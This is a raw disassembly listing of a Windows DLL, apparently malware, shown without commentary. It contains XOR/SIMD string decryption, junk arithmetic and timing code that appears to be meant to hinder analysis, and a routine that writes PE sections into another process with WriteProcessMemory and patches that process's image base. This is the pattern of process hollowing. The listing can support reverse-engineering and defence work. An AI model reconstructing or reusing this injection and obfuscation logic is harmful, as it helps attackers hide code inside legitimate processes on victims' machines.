call fcn.18000e5d0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x468]
call fcn.18000e7c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x468]
call fcn.18000e7c0
movaps xmm1, xmm5
call fcn.180001c70
movsd xmm1, qword [rsp + 0x60]
addsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x468]
call fcn.18000e7c0
movaps xmm1, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x468]
call fcn.18000e7c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x550]
call fcn.18000dea0
nop
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x550]
call fcn.180001be0
lea rcx, [rbp + 0x4f0]
call fcn.180001df0
lea rcx, [rbp + 0x4f0]
call fcn.18000da00
nop
movdqa xmmword [rbp + 0x300], xmm6
lea r8, [rbp + 0x300]
mov rdx, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x4f0]
call fcn.18000e840
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x4f0]
call fcn.180001cf0
mov rdx, qword [rbp + 0x4f8]
mov rcx, qword [rbp + 0x4f0]
call fcn.18000e8a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
call fcn.18000e5d0
mov ebx, eax
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
call fcn.18000e5d0
mov r8d, ebx
mov edx, eax
call fcn.180001dc0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000001
jge 0x180005367
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
test eax, eax
jne 0x18000538a
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180005399
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov edi, 5
nop
mov ebx, r14d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x3c0]
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x5440]
lea rcx, [rbp + 0x468]
call fcn.18000e7c0
movsd xmm5, qword [rsp + 0x60]
addsd xmm0, xmm5
movsd qword [rsp + 0x60], xmm0
lea rdx, [rbp + 0x5440]
test bl, 1
jne 0x180005415
lea rcx, [rbp + 0x3c0]
call fcn.18000e5d0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180005436
movsd xmm5, qword [rsp + 0x60]
lea rcx, [rbp + 0x468]
call fcn.18000e7c0
addsd xmm0, xmm10
divsd xmm5, xmm0
movsd qword [rsp + 0x60], xmm5
inc ebx
cmp ebx, 5
jl 0x1800053b0
sub rdi, 1
jne 0x1800053a0
lea rcx, [rbp + 0x4f0]
call fcn.18000d9a0
nop
lea rcx, [rbp + 0x550]
call fcn.18000de40
sub rsi, 1
jne 0x180005180
lea rcx, [rbp + 0x1b8]
call fcn.180001a60
mov rcx, rax
lea rdx, [rbp + 0x98]
call fcn.180001da0
test al, al
js 0x180005170
mov rbx, qword [rbp - 0x68]
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x408]
call fcn.18000d8b0
mov rdx, qword [rbp + 0x320]
test rdx, rdx
jne 0x18000576d
movups xmm0, xmmword [str.h_003__r__7]
movups xmmword [rbp + 0x278], xmm0
movsd xmm0, qword [0x18001bcd0]
movsd qword [rbp + 0x288], xmm0
cmp byte [0x18001bcd7], dl
je 0x180005761
cmp r13d, 2
jl 0x1800056fe
movdqa xmm9, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
mov eax, 2
movd xmm10, eax
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm11, r15d
movdqa xmm12, xmmword [0x18001c1f0]
movdqa xmm13, xmmword [0x18001c180]
movd xmm8, r12d
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x278]
mov edx, dword [rsp + 0x60]
movd xmm5, r14d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r14 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r14d, 8
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x180005541
lea rdx, [rbp + 0x278]
jmp 0x180004924
lea r9, [rbp + 0x278]
nop word [rax + rax]
mov eax, 0x94f2095
imul r14d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, r14b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x214d0215
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x7b
sub r8b, dl
xor byte [r9], r8b
inc r14d
lea r9, [r9 + 1]
cmp r14d, 0x18
jl 0x180005710
lea rdx, [rbp + 0x278]
jmp 0x180004924
mov r9d, dword [rbx + 0x54]
mov qword [rsp + 0x20], r14
mov r8, qword [0x180022e20]
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rbp - 0x60]
movsxd rdi, dword [rax + 0x3c]
mov rax, qword [0x180022e20]
add rdi, 0x11c
mov esi, r14d
cmp r14w, word [rbx + 6]
jae 0x180005af6
add rdi, rax
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, rax
mov edx, dword [rdi - 8]
add rdx, qword [rbp + 0x320]
mov qword [rsp + 0x20], r14
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180005adc
movups xmm0, xmmword [str.x___j8_p_____]
movups xmmword [rbp + 0x258], xmm0
movsd xmm0, qword [0x18001bfe0]
movsd qword [rbp + 0x268], xmm0
movzx eax, word [0x18001bfe8]
mov word [rbp + 0x270], ax
cmp byte [0x18001bfe9], 0
je 0x180005aa1
mov r9d, r14d
cmp r13d, 2
jl 0x180005a3d
movdqa xmm12, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
mov eax, 2
movd xmm13, eax
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm14, r15d
movdqa xmm15, xmmword [0x18001c180]
movd xmm11, r12d
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x258]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x18001c1f0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x18001c1f0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x180005880
cmp r9d, 0x1a
jge 0x180005aa1
movsxd rax, r9d
lea r10, [rbp + 0x258]
add r10, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x7b
sub r8b, dl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x180005a50
lea rdx, [rbp + 0x258]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18000eb20
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000ecf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rbp - 0x68]
add rdi, 0x28
inc esi
movzx eax, word [rbx + 6]
cmp esi, eax
jge 0x180005af6
mov rax, qword [0x180022e20]
jmp 0x1800057b1
mov rdx, qword [rbp + 0x348]
add rdx, 0x10
mov qword [rsp + 0x20], r14
mov r9d, 8
lea r8, [rbp + 0x320]
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180005e08
movups xmm0, xmmword [0x18001bcd8]
movups xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [0x18001bce8]
movups xmmword [rbp + 0x2a0], xmm1
movzx eax, byte [0x18001bcf8]
mov byte [rbp + 0x2b0], al
mov r9d, r14d
cmp r13d, 2
jl 0x180005d6d
movdqa xmm12, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
mov eax, 2
movd xmm13, eax
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm14, r15d
movdqa xmm15, xmmword [0x18001c180]
movd xmm11, r12d
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x290]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x18001c1f0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm12
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm13
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm14
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x18001c1f0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x180005bb0
cmp r9d, 0x21
jge 0x180005dd1
movsxd rax, r9d
lea r10, [rbp + 0x290]
add r10, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r9d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x7b
sub r8b, dl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x21
jl 0x180005d80
lea rdx, [rbp + 0x290]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18000eb20
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18000ecf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x2d14], 0xffffffff
mov dword [rbp + 0x1994], eax
mov r12d, 1
mov edx, r12d
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1994], eax
inc rdx
cmp rdx, 0x270
jb 0x180005e30
mov dword [rbp + 0x1990], 0x270
mov dword [rbp + 0x370], 0xffffff9c
mov dword [rbp + 0x374], 0x64
movaps xmm11, xmmword [0x18001c1c0]
movups xmmword [rbp + 0x5f0], xmm11
mov dword [rsp + 0x50], r14d
movsd qword [rsp + 0x60], xmm8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180005eaa
imul rax, rax, 0x64
jmp 0x180005ec5
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rdi, [rax + 0x5f5e100]
mov qword [rbp - 0x60], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3a0], xmm1
mov qword [rbp + 0x3b0], r14
mov ecx, 8
call fcn.180018840
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0x1c0], rbx
mov qword [rbp + 8], rax
mov rdx, qword [rbp + 0x3a8]
cmp rdx, qword [rbp + 0x3b0]
je 0x180005f2c
mov qword [rbp + 8], r14
mov qword [rdx], rax
add qword [rbp + 0x3a8], 8
mov rbx, qword [rbp + 0x1c0]
jmp 0x180005f3d
lea r8, [rbp + 8]
lea rcx, [rbp + 0x3a0]
call fcn.1800104f0
nop
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x180005f4f
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
nop
test rbx, rbx
je 0x180005f5f
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0x1c8], rbx
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x3a8]
cmp rdx, qword [rbp + 0x3b0]
je 0x180005fa9
mov qword [rbp - 0x30], r14
mov qword [rdx], rax
add qword [rbp + 0x3a8], 8
mov rbx, qword [rbp + 0x1c8]
jmp 0x180005fba
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x3a0]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x180005fcc
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
nop
test rbx, rbx
je 0x180005fdc
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0x1d0], rbx
mov qword [rbp + 0x10], rax
mov rdx, qword [rbp + 0x3a8]
cmp rdx, qword [rbp + 0x3b0]
je 0x180006026
mov qword [rbp + 0x10], r14
mov qword [rdx], rax
add qword [rbp + 0x3a8], 8
mov rbx, qword [rbp + 0x1d0]
jmp 0x180006037
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0x3a0]
call fcn.1800104f0
nop
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x180006049
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
nop
test rbx, rbx
je 0x180006059
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0x1d8], rbx
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp + 0x3a8]
cmp rdx, qword [rbp + 0x3b0]
je 0x1800060a3
mov qword [rbp + 0x18], r14
mov qword [rdx], rax
add qword [rbp + 0x3a8], 8
mov rbx, qword [rbp + 0x1d8]
jmp 0x1800060b4
lea r8, [rbp + 0x18]
lea rcx, [rbp + 0x3a0]
call fcn.1800104f0
nop
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x1800060c6
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
nop
test rbx, rbx
je 0x1800060d6
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0x1e0], rbx
mov qword [rbp + 0x20], rax
mov rdx, qword [rbp + 0x3a8]
cmp rdx, qword [rbp + 0x3b0]
je 0x180006120
mov qword [rbp + 0x20], r14
mov qword [rdx], rax
add qword [rbp + 0x3a8], 8
mov rbx, qword [rbp + 0x1e0]
jmp 0x180006131
lea r8, [rbp + 0x20]
lea rcx, [rbp + 0x3a0]
call fcn.1800104f0
nop
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x180006143
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
nop
test rbx, rbx
je 0x180006153
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.180018840
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0x1e8], rbx
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x3a8]
cmp rdx, qword [rbp + 0x3b0]
je 0x18000619d
mov qword [rbp - 0x40], r14
mov qword [rdx], rax
add qword [rbp + 0x3a8], 8
mov rbx, qword [rbp + 0x1e8]
jmp 0x1800061ae
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x3a0]
call fcn.1800104f0
nop
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1800061c0
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
nop
test rbx, rbx
je 0x1800061d0
mov rax, qword [rbx]
mov edx, r12d
mov rcx, rbx
call qword [rax]
movaps xmm15, xmm11
unpckhpd xmm15, xmm11
movsd xmm6, qword [0x18001c118]
mov esi, 0x80000000
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180006204
imul rax, rax, 0x64
jmp 0x18000621f
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x180006de2
mov r13d, r14d
nop dword [rax + rax]
mov eax, dword [rbp + 0x370]
cmp eax, esi
lea ecx, [rax + rsi]
jb 0x180006243
lea ecx, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x180006251
add eax, esi
jmp 0x180006256
add eax, 0x80000000
sub eax, ecx
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x18000626b
call fcn.180010800
jmp 0x1800062ab
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1800062a6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1800062a6
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180006290
mov esi, 0x80000000
mov eax, dword [rbp + 0x370]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x1800062c0
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x1800062ce
add eax, esi
jmp 0x1800062d3
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x1800062eb
call fcn.180010800
mov ecx, eax
jmp 0x18000632f
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180006326
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006326
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180006310
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
mov r8, qword [rbp + 0x3a8]
mov r9, qword [rbp + 0x3a0]
sub r8, r9
sar r8, 3
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r15, qword [r9 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
mov eax, dword [rbp + 0x370]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180006381
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x18000638f
add eax, esi
jmp 0x180006394
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x1800063ac
call fcn.180010800
mov ecx, eax
jmp 0x1800063ef
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x1800063e6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x1800063e6
nop
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1800063d0
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, r15
call r12
mov dword [rsp + 0x50], eax
movaps xmm12, xmm8
movaps xmm1, xmm10
mov esi, 2
mov ebx, esi
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
